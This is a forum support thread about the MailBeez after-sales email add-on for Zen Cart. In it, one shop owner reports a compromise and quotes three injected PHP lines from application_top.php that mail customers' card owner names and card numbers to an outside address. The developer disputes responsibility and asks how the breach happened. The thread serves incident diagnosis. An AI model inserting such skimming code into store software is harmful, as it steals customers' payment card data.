Mailbeez After Sales Modules

[bonnit]

hi, im having trouble sending simple review emails, it seems they are going to my email address when i set it to run (i set as the send copies email address to mine which is fine), however customer ones are only going to copy@localhost am i missing something?

[mailbeez]

sounds like you are still in simulation mode?

please check
http://www.mailbeez.com/documentatio...tting-started/
for a quick overview

[bonnit]

haha DOH!

another question if i may the emails that came through to me are obviously the ones which will be sent to the customer, firstly only a text version was sent and secondly the text $review_link showed instead of the link, any ideas?

[Sjolie]

Ok, so I uploaded mailbeeze, and I so happen get hacked not long after.

On my security software I find the exploit as following:

/home/XXXXX/public_html/includes/application_top.php:232: $title = $country123." - ".$ccowner123."-".$ccnumber123;
/home/XXXXX/public_html/includes/application_top.php:233: mail("[email protected]",$title,$message123);
/home/XXXXX/public_html/includes/application_top.php:234: }

Looking further into it, by installing mailbeez, it was copying every ordering going through our system through the APPLICATION_TOP.PHP and sending it in an email back to the mailbeez admin.

Any explanation why your software would need copies of my customers orders?

[mailbeez]

hi sjolie,

that code is not part of mailbeez! mailbeez does not send any data!

where did you download mailbeez from? are you sure that this issue was inserted by mailbeez?

cord

[Sjolie]

It seems as if the mailbeez files were manipulated on or shortly after upload. I'll have my original post removed/edited as soon as I can to prevent any worry for others. Your files were targeted on my hack attempt for whatever reason.

[mailbeez]

I would like to make sure that mailbeez is not opening any security issues - so hope we can find the root of this situation.

would be great if you could tell which mailbeez files have been manipulated (application_top is part of zencart - not mailbeez).

also any idea how the hackers came into your system?

[ScriptJunkie]

I would like to make sure that mailbeez is not opening any security issues - so hope we can find the root of this situation.

would be great if you could tell which mailbeez files have been manipulated (application_top is part of zencart - not mailbeez).

also any idea how the hackers came into your system?

We also need to know which version of ZC Sjolie is running. Versions prior to 139h have security issues.

[mailbeez]

*** advertisement for commercial addon removed ***

[mailbeez]

You can always find new release MailBeez modules using the Version-Check Button on the Dashboard.
There have been recently some new releases

regards
cord